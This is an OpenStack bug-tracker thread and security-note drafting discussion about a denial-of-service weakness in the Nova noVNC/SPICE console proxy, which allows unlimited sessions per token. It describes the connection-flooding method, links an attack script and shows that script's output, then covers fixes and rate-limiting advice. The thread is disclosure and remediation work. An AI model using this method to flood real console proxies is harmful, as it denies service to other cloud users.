DoS style attack on noVNC server can lead to service interruption or disruption

[Aswad Rangnekar]

There is no limiting on the number of VNC sessions that can be created for a single user's VNC token.
Any attempt to create multiple (say hundreds or thousands) of websocket connections to the VNC server
results in many connection timeouts. Due to these connection timeout error, other users trying to access their
VM's VNC console cannot do so.

A sample script that tries to create 100,000 connections to Nova noVNC proxy, shows timeout errors
Script: http://paste.openstack.org/show/47254/

Script output.... connections get timed out after a while
-------------------
....
..

Creating Connection
Receiving...
Received 'RFB 003.008
'
Creating Connection
Receiving...
Received 'RFB 003.008
'
Creating Connection
Receiving...
Received 'RFB 003.008
'
Creating Connection
Receiving...
Received 'RFB 003.008
'
Creating Connection
Receiving...
Received 'RFB 003.008
'
Creating Connection
Receiving...
Received 'RFB 003.008
'
Creating Connection
Receiving...
timed out
Creating Connection
Receiving...
timed out
Creating Connection
Receiving...
timed out
Creating Connection
Receiving...
timed out
Creating Connection
Receiving...
timed out
--------------------

Impact:
1. Many of the sessions timeout. Any attempt to open other sessions also intermittently fail.
This can cause serious problems to users already having a running VNC session or trying to create new sessions.

2. The overall performance and response times of other nova services running on the novnc host, using tcp protocol
also gets affected after the connection timeout errors.

For example:
Before running the sumulate thousands of connections program:
$ time nova get-vnc-console c1b093a3-f53b-4282-b89c-e68f0fa1b6e5 novnc
+-------+---------------------------------------------------------------------------------+
| Type | Url |
+-------+---------------------------------------------------------------------------------+
| novnc | http://10.2.3.102:6080/vnc_auto.html?token=e776dd33-422f-4b56-9f98-e317410d0212 |
+-------+---------------------------------------------------------------------------------+

real 0m0.751s
user 0m0.376s
sys 0m0.084s

rohit@precise-dev-102:~/tools/websocket-client-0.7.0$

After running the program, the response time is quite high:
$ time nova get-vnc-console c1b093a3-f53b-4282-b89c-e68f0fa1b6e5 novnc

+-------+---------------------------------------------------------------------------------+
| Type | Url |
+-------+---------------------------------------------------------------------------------+
| novnc | http://10.2.3.102:6080/vnc_auto.html?token=6865d675-d852-478b-b1ee-457b092f11b9 |
+-------+---------------------------------------------------------------------------------+

real 3m9.231s
user 0m0.424s
sys 0m0.108s

Possible solutions:
1. Allow just 1 session per instance, and raise a new exception, say, VNCSessionAlreadyExists to reject multiple
connections for the same token, and return an error code to the user.
2. Make the number of sessions allowed per instance configurable, limited by some count of sessions.

However, both of these solutions may need to override and modify the do_proxy() method of websockify's WebSocketProxy class,
which can lead to maintenance issues.

Another possible solution would be to implement some kind of callback function in websockify, to which we can pass the token
for reconnection. This would first need contribution to the websockify project code, and then update Nova.

[Russell Bryant (russellb)]

Thanks for the report. I see that you assigned the bug to yourself. Just to clarify, does that mean you're looking into writing a patch?

[Aswad Rangnekar (aswad-r)]

Hi Russell,

Yes, I am working on this bug and will post a patch to Gerrit soon.

[Aswad Rangnekar (aswad-r)]

I will not submit the patch to Gerrit but attach it to this bug.

[Thierry Carrez (ttx)]

All public cloud services are vulnerable to DoS on their endpoints and need to be protected using specialized proxies. Is there anything in noVNC which makes it more... vulnerable to attack ?

I am all for this to be improved in the future, I just don't see how we can "fix" this in older versions without significantly altering their behavior or configuration (and cooridnating necessary support in a consumed library!). This is how we handled keystone DoS in the past -- by fixing it in the current release and informing users of the vulnerability through an OSSN.

[Tushar Patil (tpatil)]

Thierry: I completely agree with you. We want to fix this issue in the current release by allowing only limited configurable number of vnc console sessions to be opened for each VM something like ratelimiting.

[Thierry Carrez (ttx)]

Would be great if that could land in Havana before release... because like I said backporting might just not be an option. maybe making it a public issue would just increase the likelihood of it getting fixed in time.

Aswad: Would you object to it being made public ?
Other VMT members: what's your take on this ? Fix in havana / OSSN for others ?

[Jeremy Stanley (fungi)]

I completely agree, this is more or less the same class of issue as bug 1098177. Fix in master/havana, security note for <=grizzly, CVE if the OSSG/CNA feel it's warranted. And yes, I suspect this will get fixed faster/easier if not embargoed.

[Russell Bryant (russellb)]

I'm not sure about opening this to the public just to rush a fix. That seems like bad security practice.

I also think we need to wait for a patch to get worked out before we speculate on whether this could be backported. It seems doable to me. If we're worried about the change in behavior, it can be off by default in the backport.

[Aswad Rangnekar (aswad-r)]

I am working on this patch and have 2 solutions discussed below. Both use sessions to maintain vnc session information/instance.
I would like to have opinions if either of the solution looks feasible

A session is maintained throughout a connection between vnc user and a given instance.
e.g.

console_sessions = {
<instance_1_UUID>: [session_1_UUID, session_2_UUID, session_3_UUID........],
<instance_1_UUID>: [session_1_UUID, session_2_UUID, session_3_UUID........],
...
...
}

Solution 1: Uses multiprocessing.Manager().dict() for vnc session management
Advantages:
- session information is stored in-memory
Disadvantages:
- Methods start_server(), top_new_client() and new_client() from websockify.WebSocketProxy class
  has to be overridden.

Problem faced - *Please suggest a workaround or an alternative *
I get an exception as shown below while using multiprocessing.Manager().dict().
Assuming that this error is caused because socket module is being monkeypatched by eventlet.
Referred:
http://stackoverflow.com/questions/14736766/why-does-gevent-socket-break-multiprocessing-connections-auth
https://groups.google.com/forum/#!msg/ruffus_discuss/kzXcedlRwuQ/ag3mKlc7B-0Js

n-novnc log:

Traceback (most recent call last):
File "/usr/local/bin/nova-novncproxy", line 10, in <module>
sys.exit(main())
File "/opt/stack/nova/nova/cmd/novncproxy.py", line 89, in main
server.start_server()
File "/opt/stack/nova/nova/console/websocketproxy.py", line 124, in start_server
d = manager.Namespace()
File "/usr/lib/python2.7/multiprocessing/managers.py", line 667, in temp
token, exp = self._create(typeid, *args, **kwds)
File "/usr/lib/python2.7/multiprocessing/managers.py", line 565, in _create
conn = self._Client(self._address, authkey=self._authkey)
File "/usr/lib/python2.7/multiprocessing/connection.py", line 175, in Client
answer_challenge(c, authkey)
File "/usr/lib/python2.7/multiprocessing/connection.py", line 413, in answer_challenge
connection.recv_bytes()
IOError: [Errno 11] Resource temporarily unavailable

Solution 2: Use external store, sqlite or memcache for vnc session management
Disadvantages:
- new_client method from websockify.WebSocketProxy class must be overridden.
- It might be an overhead
- Managing and monitoring memcache on comput node will be an overhead for administrator.
- new_client method from websockify.WebSocketProxy class must be overridden.

[Aswad Rangnekar (aswad-r)]

Each VNC session starts in a new processes. To store vnc session data about each of these sessions in a shared object (dictionary) I had to use multiprocessing.Manager.dict.
But since patched socket module did not allow me initialize a shared dict, I commented "eventlet.monkey_patch(os=False)" from __init__.py as below.

Diff:
- eventlet.monkey_patch(os=False)
+ #eventlet.monkey_patch(os=False)

Ref for eventlet.monkey_patch(os=False) in __init__.py:
https://github.com/openstack/nova/blob/master/nova/cmd/__init__.py#L34

However, since these patched modules are being used by "consoleauth_rpcapi.ConsoleAuthAPI"; it is *not* possible to comment "eventlet.monkey_patch(os=False)" in nova.cmd.__init__.py. It looks like multiprocessing and eventlets don't go well together.

Ref for consoleauth_rpcapi.ConsoleAuthAPI:
https://github.com/openstack/nova/blob/master/nova/console/websocketproxy.py#L55

Hence, solution#1 as described in comment#9 does not look feasible (Please suggest if there is an alternative) so, I am going ahead with solution#2.

Solution#2 uses database to store console sessions. Similar approach has been used in nova.console.vmrc_manager to store console sessions.
Ref for vmrc_manager
https://github.com/openstack/nova/blob/master/nova/console/vmrc_manager.py#L76

[Thierry Carrez (ttx)]

Nova devs, could you chime in ?

[Russell Bryant (russellb)]

I think solution #2 makes sense.

[Aswad Rangnekar (aswad-r)]

PFA fix for bug <<fix_lp_bug_1227575>>

[Aswad Rangnekar (aswad-r)]

nova-core please review the attached patch.

Description:
- I have implemented solution#2 as discussed above and have reused consoles and console_pools table to achieve this.
- Maximum number of consoles that can be open for any instance is configurable using "console_max_count"
- A console data stored in consoles table, is related to one of the compute hosts on which the instance is spawned. This information is stored in console_pools table and is identified by public_hostname, host, compute_host fields.
- All consoles associated with a console_pool are cleaned up after a compute host or novnc-proxy service comes up after a unexpected failure.

Following scenarios are considered:
1. Open vm console for any one of the vm, for "console_max_count" times in separate tabs.
Expected:
- All consoles should successfully open till its is count = "console_max_count"
- If attempt is made to open a console session and the resulting count is > "console_max_count" then exception "ConsoleMaxCountExceeded" is raised

2. Open vm console of each vm. Kill nova-console service from each server.
Expected:
- All console session should get disconnected.
- Start nova-console service on each server, it should delete all previous opened consoles from the consoles table.
- Now if you try to connect to any of the vm console, it should connect successfully.

3. Open vm console of each vm. Shutdown vm using virsh command.
Expected:
- Console session should get disconnected and nova-console should delete the console successfully.

[Thierry Carrez (ttx)]

@Nova-core: please review

@VMT members: I still think we should fix this in master as a strengthening option, but not make an OSSA for it.

[Jeremy Stanley (fungi)]

Agreed on treating it as a security hardening improvement, though the security group may want to issue a note on adjusting this value and/or mitigating with throttling proxies as a best practice. Also, if there's going to be no OSSA for this, then there's little point in embargoing the bug report so we should switch it to public.

[Thierry Carrez (ttx)]

Rob: would you agree with that ?

[Daniel Berrange (berrange)]

Note that this bug will likely apply to the SPICE console proxy as well as the VNC one.

Also note that each SPICE console involves multiple TCP connections to the proxy, since the SPICE architecture uses different TCP connections for mouse, keyboard, console data and more. So we need to be careful that any max count limit is not going to break valid SPICE usage

[Russell Bryant (russellb)]

Ok, I'm good with treating this as a strengthening issue, which means we could open this up and review the patch through gerrit.

Thanks for working on the patch! I'm sorry review has been so slow.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.openstack.org/57224

[CloudDon (sriramhere)]

I'll start preparing an OSSN for this.

[Kurt Seifried (kseifried)]

This appears to be a security issue, a single user can prevent any access for all other users to the system, with no way (currently) to prevent it. Why was this classed as security hardening and not a security flaw (am I missing something, like it can't be exploited outside of a non standard/unsafe config or something?).

[Thierry Carrez (ttx)]

This one is a classic DoS attack on an endpoint, without amplification. There are two ways of mitigating that issue in a public cloud setting: externally (by deploying rate-limiting proxies) or internally (by adding a rate-limiting feature in Nova novnc proxy itself).

Adding a feature to a stable release in not an option for us. So we pursue two different axis:
- warn users of current stable versions to use rate-limiting proxies to also cover access to the noVNC servers (this is not the first, nor the last place in OpenStack where DoS needs to be mitigated externally). This is what the OSSN that Sriram prepares will recommend
- introduce a new feature to be able to mitigate that within the noVNC proxy, to be shipped in the Icehouse release

In summary, this is definitely a vulnerability, but since it can't be closed without adding a disrupting change in stable releases (which is what an OSSA would have been for), we opted for a "known issue warning + best practice on how to mitigate it" (OSSN) + feature-fix in next version.

[Aswad Rangnekar (aswad-r)]

Hi,

I have analyzed that; single sessionid is shared between multiple tcp connections for SPICE console. Now I am trying to figure out how to get this unique sessionid in NovaWebSocketProxy class. It is possible to solve this issue if this sessionid is available in NovaWebSocketProxy class.

Please suggest if anybody has a workaround for this scenario

[CloudDon (sriramhere)]

Please review and comment on the OSSN published for this: https://wiki.openstack.org/wiki/OSSN/1227575. Content reproduced below. I wanted to know if links to some rate-limiting frameworks such as Repose would help. Not sure if we can link 3rd party tools in OSSNs.
==================================================================================

DoS style attack on noVNC server can lead to service interruption or disruption

=== Summary===

Currently, there is no limiting on the number of VNC sessions that can be created for a single user's VNC token which enables one to cause a DoS attack on noVNC browser proxy by requesting multiple server. This prevents subsequent access to VM's VNC console.

=== Affected Services / Software ===
Horizon (VNC Console through browser), Nova (NoVNC proxy), Grizzly

=== Discussion ===
NoVNC Proxy is explained well here.

Once a user gets token to access a VM's VNC console, there is no restriction in the number of times the user can try connecting to the VNC console using the same token. If multiple connection requests are made, any subsequent request could timeout. This could impact users already connected to the VNC sessions, or other users trying to make new connection. This could also impact overall responsiveness of other nova services running in the novnc host.

Thus, a user could make the NoVNC proxy endpoint not responsive/ reachable, thereby resulting in a DoS attack. However, it is to be noted there is no amplification effect.

=== Recommended Actions ===
For current stable releases (Grizzly), users need to workaround this vulnerability by using rate-limiting proxies to cover access to NoVNC hosts. Rate-limiting is a common mechanism to prevent DoS/ Brute-Force attacks. You can find more discussion on rate-limiting around OpenStack Networking Best practices here.

=== Contacts / References ===
This OSSN : https://bugs.launchpad.net/ossn/+bug/1227575
Original LaunchPad Bug : https://bugs.launchpad.net/keystone/+bug/1227575
OpenStack Security ML : <email address hidden>
OpenStack Security Group : https://launchpad.net/~openstack-ossg

[Nathan Kinder (nkinder)]

I would slightly reword the "Summary" section to be a bit more clear. I'd suggest something like this:

-------------
There is currently no limitation on the number of VNC sessions that can be established for a single user's VNC token. This enables one to cause a Denial of Service (DoS) style attack by establishing many VNC sessions against a single instance through a noVNC proxy. This can cause timeouts for other users who are trying to access the same instance through VNC.
-------------

In the "Discussion" section, I don't think the first sentence is needed ("NoVNC Proxy is explained here"). There are also some areas where I would suggest slight rewording:

-------------
Once a user gets a token to access an instance's VNC console, there is no restriction on the frequency that the user can attempt to connect to the instance's VNC console using that token. There is also no restriction on the number of simultaneous VNC sessions that the user can establish against the instance using a single token. If many connection requests are made, any subsequent connection requests made by other users may time out. This could also impact other user's currently established VNC sessions to the instance. The overall responsiveness of other Nova services running on the noVNC host.

By taking advantage of the lack of any VNC connection limiting, a single user could cause the noVNC proxy endpoint to be non-responsive or unreachable. This results in a DoS attack. It should be noted that there is no amplification effect.
-------------

I think the OSSN needs to mention Havana as well. It currently only indicates that Grizzly is affected in the "Affected Services" and "Recommended Actions" sections.

You have a few spots that use "NoVNC" or "novnc". These should be "noVNC".

In the "Recommended Actions" section, you start to make a reference to some best practices but there is no reference. Were you intending to refer to the Security Guide?

[CloudDon (sriramhere)]

Thanks for the comments Nathan.

I wanted to check if references to 3rd party tools are allowed in the
reference section.

On Sat, Jan 4, 2014 at 10:11 AM, Nathan Kinder <email address hidden> wrote:

> I would slightly reword the "Summary" section to be a bit more clear.
> I'd suggest something like this:
>
> -------------
> There is currently no limitation on the number of VNC sessions that can be
> established for a single user's VNC token. This enables one to cause a
> Denial of Service (DoS) style attack by establishing many VNC sessions
> against a single instance through a noVNC proxy. This can cause timeouts
> for other users who are trying to access the same instance through VNC.
> -------------
>
> In the "Discussion" section, I don't think the first sentence is needed
> ("NoVNC Proxy is explained here"). There are also some areas where I
> would suggest slight rewording:
>
> -------------
> Once a user gets a token to access an instance's VNC console, there is no
> restriction on the frequency that the user can attempt to connect to the
> instance's VNC console using that token. There is also no restriction on
> the number of simultaneous VNC sessions that the user can establish against
> the instance using a single token. If many connection requests are made,
> any subsequent connection requests made by other users may time out. This
> could also impact other user's currently established VNC sessions to the
> instance. The overall responsiveness of other Nova services running on the
> noVNC host.
>
> By taking advantage of the lack of any VNC connection limiting, a single
> user could cause the noVNC proxy endpoint to be non-responsive or
> unreachable. This results in a DoS attack. It should be noted that there
> is no amplification effect.
> -------------
>
> I think the OSSN needs to mention Havana as well. It currently only
> indicates that Grizzly is affected in the "Affected Services" and
> "Recommended Actions" sections.
>
> You have a few spots that use "NoVNC" or "novnc". These should be
> "noVNC".
>
> In the "Recommended Actions" section, you start to make a reference to
> some best practices but there is no reference. Were you intending to
> refer to the Security Guide?
>
> --
> You received this bug notification because you are a member of OpenStack
> Security Group, which is subscribed to OpenStack.
> https://bugs.launchpad.net/bugs/1227575
>
> Title:
> DoS style attack on noVNC server can lead to service interruption or
> disruption
>
> Status in OpenStack Compute (Nova):
> In Progress
> Status in OpenStack Security Notes:
> New
>
> Bug description:
> There is no limiting on the number of VNC sessions that can be created
> for a single user's VNC token.
> Any attempt to create multiple (say hundreds or thousands) of websocket
> connections to the VNC server
> results in many connection timeouts. Due to these connection timeout
> error, other users trying to access their
> VM's VNC console cannot do so.
>
> A sample script that tries to create 100,000 connections to Nova noVNC
> proxy, shows timeout errors
> Script: http://paste.openstack.org/show/47254/
>
> Script output.... connectio...

[Abhishek Kekane (abhishek-kekane)]

Hi,

In spiceconsole when sending request to websocket server "payload" of websocket is getting converted to javascript ArrayBuffer (https://github.com/metacloud/spice-html5/blob/master/spiceconn.js#L126) and then while converting "message" to arraybuffer connection_id is getting converted to 32 bit integer (https://github.com/metacloud/spice-html5/blob/master/spicemsg.js#L118). This connection_id then gets encrypted (using anding and bit shifting of 32 bit integer) (https://github.com/metacloud/spice-html5/blob/master/spicedataview.js#L84).

At the servers side we get this "message" in recv_frames method of websocket(https://github.com/kanaka/websockify/blob/master/websockify/websocket.py#L337). This message is then decrypted and we get payload in hex format (https://github.com/kanaka/websockify/blob/master/websockify/websocket.py#L348). In this payload first four bytes is connection_id but it is in hex encrypted format.
As data received from client is in hex format, its difficult to retrive the connection_id in user readable format.

To overcome this issue, IMO the sessions need to be managed only in case of NoVncConsole and if the console is SpiceConsole then there is no need to manage the sessions.
For this purpose one flag (is_vnc = true/false) will be passed from novncproxy to determine the console type while creating the server object(websocketproxy.NovaWebSocketProxy).

Please let me know if you found any workaround for the same.

[Nathan Kinder (nkinder)]

There is precedent for having external references in an OSSN. For example, this OSSN refers to the Apache wiki:

    https://wiki.openstack.org/wiki/OSSN/1155566

I would suggest that you make it clear that the any third party tools mentioned are possible solutions, not the only solution as there may be other tools out there that can be used for limiting.

[Abhishek Kekane (abhishek-kekane)]

Hi,

To bypass the session management for spice console, we can use template-method design pattern in NovaWebSocketProxy class.
Implement "new_client" as a template method in the NovaWebSocketProxy class.
From this method, invoke create_console/remove_console method to manage sessions.
We can now create two new classes one for NoVncConsole and another for SpiceConsole in websocketproxy.py; extending NovaWebSocketProxy class and implements create_console/remove_console methods as per our need.

The advantage of using template method design pattern is new_client method will be common for NoVncConsole and SpiceConsole.

Please let me know if you have any suggestions for the same.

[Abhishek Kekane (abhishek-kekane)]

Hi,

One possible solution to limit the console sessions for both vnc and spice consoles is that we can query to compute node to know how many tcp connections are established for a given console graphics port of the vm using netstat command. If the number of established tcp connections exceeds that of configured value, then it is possible to restrict users from connecting to the console.

sudo netstat -pnt | awk '{print $4}' | egrep '^127.0.0.1:5900$’
127.0.0.1 : vncserver_listen parameter from nova.conf
5900: graphics port either for spice or vnc.

For this to work, we need to know whether the tcp connections per spice console is governed by libvirt or there are any other external factors involved that could vary the count of the tcp connections. Once we know count of tcp connections are bound to libvirt then we can write the logic in the libvirt driver to return tcp connections count accordingly per console type (spice or vnc).

Also need to check how this would work for other hypervisors.

Advantage:
1. No need to persist connection data per vm per session saving disk space

Disadvantage:
1. One additional rpc call to the compute node per console

Please let me know your suggestions on the same.

[CloudDon (sriramhere)]

Nathan,

I've incorporated the review comments in the OSSN (https://wiki.openstack.org/wiki/OSSN/1227575). Apologize in the delay. I think OSSN is ready to be published now. Please let me know

thanks,
-Sriram

[Malini Bhandaru (malini-k-bhandaru)]

https://wiki.openstack.org/wiki/OSSN/1227575
Nathan and Sriram ..
I read the bug report and it mentions noVNC and SPICE, so I incorporated both in the messaging.
Worried that I may have blotched the OSSN. More do I wish it was it git/gerrit.

However .. need some clarification ..

Per http://docs.openstack.org/trunk/config-reference/content/getting-started-with-vnc-proxy.html

Which is the entity that becomes unresponsive?
1) The noVNC Proxy host? (the middle wheel in bottom that hosts the Nova console auth)
Or
2) The compute node, top right?

What is meant by "no amplification" ?
That means damage is limited right, then answer should be (2) above.
But if it is two, each compute node would need to be listed and rate limited?

[Nathan Kinder (nkinder)]

@malini-k-bhandaru
> I read the bug report and it mentions noVNC and SPICE, so I incorporated both in the messaging.

Good call. I've adjusted some wording slightly, but the additions you made look good overall.

> Which is the entity that becomes unresponsive?
> 1) The noVNC Proxy host? (the middle wheel in bottom that hosts the Nova console auth)
> Or
> 2) The compute node, top right?

The responsiveness of the nova-novncproxy service is what we are most concerned about. It is true that a host running nova-compute compute node has to deal with the incoming VNC connections as well, but there are usually many compute nodes and instances are balanced across them. If the nova-novncproxy service is the bottleneck, then the compute node itself won't become non-responsive.

> What is meant by "no amplification" ?

As I understand it, it's a when the volume of traffic in an attack is amplified. This typically involves getting many other services to reflect traffic at the target. For a real world example, lookup "smurf attack".

> That means damage is limited right, then answer should be (2) above.

It's not limited (which is the main issue here). It just means it's not amplified. That is, the attacker needs to be able to open enough connections themself to overcome the resources of the system running nova-novncproxy.

> But if it is two, each compute node would need to be listed and rate limited?

As I mentioned above, the nova-novncproxy service is the main concern. It wouldn't hurt to mention that a compute node could be affected too. I've just added this to the note draft on the wiki.

[Nathan Kinder (nkinder)]

Here's an updated OSSN draft that covers all of the issues mentioned in my previous comment (in the appropriate e-mail format). I also removed the reference to rate-limiting in the Security Guide, as it doesn't actually contain any information on how to do rate limiting. It only mentioned that QOSaaS plans to offer rate limiting, which isn't applicable here.

If this looks fine to everyone else, I'll go ahead and publish it.

-----------------------------------------------------------------------------------------
DoS style attack on noVNC server can lead to service interruption or disruption
---

### Summary ###
There is currently no limit on the number of noVNC or SPICE console
sessions that can be established against a single user token. This
enables launching a Denial of Service (DoS) style attack by establishing
many console sessions against a single virtual machine instance through
the console proxy. This can cause instance access timeouts and general
service response degradation on the console host.

### Affected Services / Software ###
Horizon, Nova, noVNC proxy, SPICE console, Grizzly, Havana

### Discussion ###
Currently with a single user token, no restrictions are enforced on the
number or frequency of noVNC or SPICE console sessions that may be
established. While a user can only access their own virtual machine
instances, resources can be exhausted on the console proxy host by
creating an excessive number of simultaneous console sessions. This can
result in timeouts for subsequent connection requests to instances using
the same console proxy. Not only would this prevent the user from
accessing their own instances, but other legitimate users would also be
deprived of console access. Further, other services running on the
noVNC proxy and Compute hosts may degrade in responsiveness.

By taking advantage of this lack of restrictions around noVNC or SPICE
console connections, a single user could cause the console proxy
endpoint to become unresponsive, resulting in a Denial Of Service (DoS)
style attack. It should be noted that there is no amplification effect.

### Recommended Actions ###
For current stable OpenStack releases (Grizzly, Havana), users need to
workaround this vulnerability by using rate-limiting proxies to cover
access to the noVNC proxy service. Rate-limiting is a common mechanism
to prevent DoS and Brute-Force attacks.

For example, if you are using a proxy such as Repose, enable the rate
limiting feature by following these steps:

  https://repose.atlassian.net/wiki/display/REPOSE/Rate+Limiting+Filter

Future OpenStack releases are looking to add the ability to restrict
noVNC and SPICE console connections.

### Contacts / References ###
This OSSN : https://wiki.openstack.org/wiki/OSSN/OSSN-0008
Original LaunchPad Bug : https://bugs.launchpad.net/nova/+bug/1227575
OpenStack Security ML : <email address hidden>
OpenStack Security Group : https://launchpad.net/~openstack-ossg

[Malini Bhandaru (malini-k-bhandaru)]

+1
I totally like it.
Glad you added that last line on how we expect to handle it in future release.

-----Original Message-----
From: Nathan Kinder [mailto:<email address hidden>]
Sent: Friday, March 07, 2014 8:23 PM
To: <email address hidden>
Subject: [Openstack-security] [Bug 1227575] Re: DoS style attack on noVNC server can lead to service interruption or disruption

Here's an updated OSSN draft that covers all of the issues mentioned in my previous comment (in the appropriate e-mail format). I also removed the reference to rate-limiting in the Security Guide, as it doesn't actually contain any information on how to do rate limiting. It only mentioned that QOSaaS plans to offer rate limiting, which isn't applicable here.

If this looks fine to everyone else, I'll go ahead and publish it.

-----------------------------------------------------------------------------------------
DoS style attack on noVNC server can lead to service interruption or disruption
---

### Summary ###
There is currently no limit on the number of noVNC or SPICE console sessions that can be established against a single user token. This enables launching a Denial of Service (DoS) style attack by establishing many console sessions against a single virtual machine instance through the console proxy. This can cause instance access timeouts and general service response degradation on the console host.

### Affected Services / Software ###
Horizon, Nova, noVNC proxy, SPICE console, Grizzly, Havana

### Discussion ###
Currently with a single user token, no restrictions are enforced on the number or frequency of noVNC or SPICE console sessions that may be established. While a user can only access their own virtual machine instances, resources can be exhausted on the console proxy host by creating an excessive number of simultaneous console sessions. This can result in timeouts for subsequent connection requests to instances using the same console proxy. Not only would this prevent the user from accessing their own instances, but other legitimate users would also be deprived of console access. Further, other services running on the noVNC proxy and Compute hosts may degrade in responsiveness.

By taking advantage of this lack of restrictions around noVNC or SPICE console connections, a single user could cause the console proxy endpoint to become unresponsive, resulting in a Denial Of Service (DoS) style attack. It should be noted that there is no amplification effect.

### Recommended Actions ###
For current stable OpenStack releases (Grizzly, Havana), users need to workaround this vulnerability by using rate-limiting proxies to cover access to the noVNC proxy service. Rate-limiting is a common mechanism to prevent DoS and Brute-Force attacks.

For example, if you are using a proxy such as Repose, enable the rate limiting feature by following these steps:

  https://repose.atlassian.net/wiki/display/REPOSE/Rate+Limiting+Filter

Future OpenStack releases are looking to add the ability to restrict noVNC and SPICE console connections.

### Contacts / References ###
This OSSN : https://wiki.openstack.org/wiki/OSSN/OSSN-0008
Original LaunchPad Bug : https://bu...

[CloudDon (sriramhere)]

Thanks Nathan, good to publish!

-----Original Message-----
From: "Nathan Kinder" <email address hidden>
Sent: ‎3/‎7/‎2014 8:33 PM
To: "<email address hidden>" <email address hidden>
Subject: [Openstack-security] [Bug 1227575] Re: DoS style attack on noVNCserver can lead to service interruption or disruption

Here's an updated OSSN draft that covers all of the issues mentioned in
my previous comment (in the appropriate e-mail format). I also removed
the reference to rate-limiting in the Security Guide, as it doesn't
actually contain any information on how to do rate limiting. It only
mentioned that QOSaaS plans to offer rate limiting, which isn't
applicable here.

If this looks fine to everyone else, I'll go ahead and publish it.

-----------------------------------------------------------------------------------------
DoS style attack on noVNC server can lead to service interruption or disruption
---

### Summary ###
There is currently no limit on the number of noVNC or SPICE console
sessions that can be established against a single user token. This
enables launching a Denial of Service (DoS) style attack by establishing
many console sessions against a single virtual machine instance through
the console proxy. This can cause instance access timeouts and general
service response degradation on the console host.

### Affected Services / Software ###
Horizon, Nova, noVNC proxy, SPICE console, Grizzly, Havana

### Discussion ###
Currently with a single user token, no restrictions are enforced on the
number or frequency of noVNC or SPICE console sessions that may be
established. While a user can only access their own virtual machine
instances, resources can be exhausted on the console proxy host by
creating an excessive number of simultaneous console sessions. This can
result in timeouts for subsequent connection requests to instances using
the same console proxy. Not only would this prevent the user from
accessing their own instances, but other legitimate users would also be
deprived of console access. Further, other services running on the
noVNC proxy and Compute hosts may degrade in responsiveness.

By taking advantage of this lack of restrictions around noVNC or SPICE
console connections, a single user could cause the console proxy
endpoint to become unresponsive, resulting in a Denial Of Service (DoS)
style attack. It should be noted that there is no amplification effect.

### Recommended Actions ###
For current stable OpenStack releases (Grizzly, Havana), users need to
workaround this vulnerability by using rate-limiting proxies to cover
access to the noVNC proxy service. Rate-limiting is a common mechanism
to prevent DoS and Brute-Force attacks.

For example, if you are using a proxy such as Repose, enable the rate
limiting feature by following these steps:

  https://repose.atlassian.net/wiki/display/REPOSE/Rate+Limiting+Filter

Future OpenStack releases are looking to add the ability to restrict
noVNC and SPICE console connections.

### Contacts / References ###
This OSSN : https://wiki.openstack.org/wiki/OSSN/OSSN-0008
Original LaunchPad Bug : https://bugs.launchpad.net/nova/+bug/1227575
OpenStack...

[Robert Clark (robert-clark)]

The OSSN looks great, but I think perhaps the summary could be tweaked to be a little shorter and maybe flow a little better…

There is currently no limit to the number of noVNC or SPICE console sessions that can be established by a single user. The console host has limited resources and an attacker launching many sessions may be able to exhaust the available resources, resulting in a Denial of Service (DoS) condition.

Other than that it’s hot-to-trot, as they say.

-Rob

From: Sriram Subramanian [mailto:<email address hidden>]
Sent: 08 March 2014 06:03
To: Bug 1227575; <email address hidden>
Subject: Re: [Openstack-security] [Bug 1227575] Re: DoS style attack on noVNCserver can lead to service interruption or disruption

Thanks Nathan, good to publish!
________________________________
From: Nathan Kinder<mailto:<email address hidden>>
Sent: ‎3/‎7/‎2014 8:33 PM
To: <email address hidden><mailto:<email address hidden>>
Subject: [Openstack-security] [Bug 1227575] Re: DoS style attack on noVNCserver can lead to service interruption or disruption
Here's an updated OSSN draft that covers all of the issues mentioned in
my previous comment (in the appropriate e-mail format). I also removed
the reference to rate-limiting in the Security Guide, as it doesn't
actually contain any information on how to do rate limiting. It only
mentioned that QOSaaS plans to offer rate limiting, which isn't
applicable here.

If this looks fine to everyone else, I'll go ahead and publish it.

-----------------------------------------------------------------------------------------
DoS style attack on noVNC server can lead to service interruption or disruption
---

### Summary ###
There is currently no limit on the number of noVNC or SPICE console
sessions that can be established against a single user token. This
enables launching a Denial of Service (DoS) style attack by establishing
many console sessions against a single virtual machine instance through
the console proxy. This can cause instance access timeouts and general
service response degradation on the console host.

### Affected Services / Software ###
Horizon, Nova, noVNC proxy, SPICE console, Grizzly, Havana

### Discussion ###
Currently with a single user token, no restrictions are enforced on the
number or frequency of noVNC or SPICE console sessions that may be
established. While a user can only access their own virtual machine
instances, resources can be exhausted on the console proxy host by
creating an excessive number of simultaneous console sessions. This can
result in timeouts for subsequent connection requests to instances using
the same console proxy. Not only would this prevent the user from
accessing their own instances, but other legitimate users would also be
deprived of console access. Further, other services running on the
noVNC proxy and Compute hosts may degrade in responsiveness.

By taking advantage of this lack of restrictions around noVNC or SPICE
console connections, a single user could cause the console proxy
endpoint to become unresponsive, resulting in a Denial Of Service (DoS)
...

[Nathan Kinder (nkinder)]

I've adjusted the "Summary" section as suggested by Rob. I've gone ahead and published the following OSSN to the following locations:

  https://wiki.openstack.org/wiki/OSSN/OSSN-0008
  <email address hidden>
  <email address hidden>

Thanks everyone for the reviews and contributions to this OSSN!

--------------------------------------------------------------------------
DoS style attack on noVNC server can lead to service interruption or disruption
---

### Summary ###
There is currently no limit to the number of noVNC or SPICE console
sessions that can be established by a single user. The console host has
limited resources and an attacker launching many sessions may be able to
exhaust the available resources, resulting in a Denial of Service (DoS)
condition.

### Affected Services / Software ###
Horizon, Nova, noVNC proxy, SPICE console, Grizzly, Havana

### Discussion ###
Currently with a single user token, no restrictions are enforced on the
number or frequency of noVNC or SPICE console sessions that may be
established. While a user can only access their own virtual machine
instances, resources can be exhausted on the console proxy host by
creating an excessive number of simultaneous console sessions. This can
result in timeouts for subsequent connection requests to instances using
the same console proxy. Not only would this prevent the user from
accessing their own instances, but other legitimate users would also be
deprived of console access. Further, other services running on the
noVNC proxy and Compute hosts may degrade in responsiveness.

By taking advantage of this lack of restrictions around noVNC or SPICE
console connections, a single user could cause the console proxy
endpoint to become unresponsive, resulting in a Denial Of Service (DoS)
style attack. It should be noted that there is no amplification effect.

### Recommended Actions ###
For current stable OpenStack releases (Grizzly, Havana), users need to
workaround this vulnerability by using rate-limiting proxies to cover
access to the noVNC proxy service. Rate-limiting is a common mechanism
to prevent DoS and Brute-Force attacks.

For example, if you are using a proxy such as Repose, enable the rate
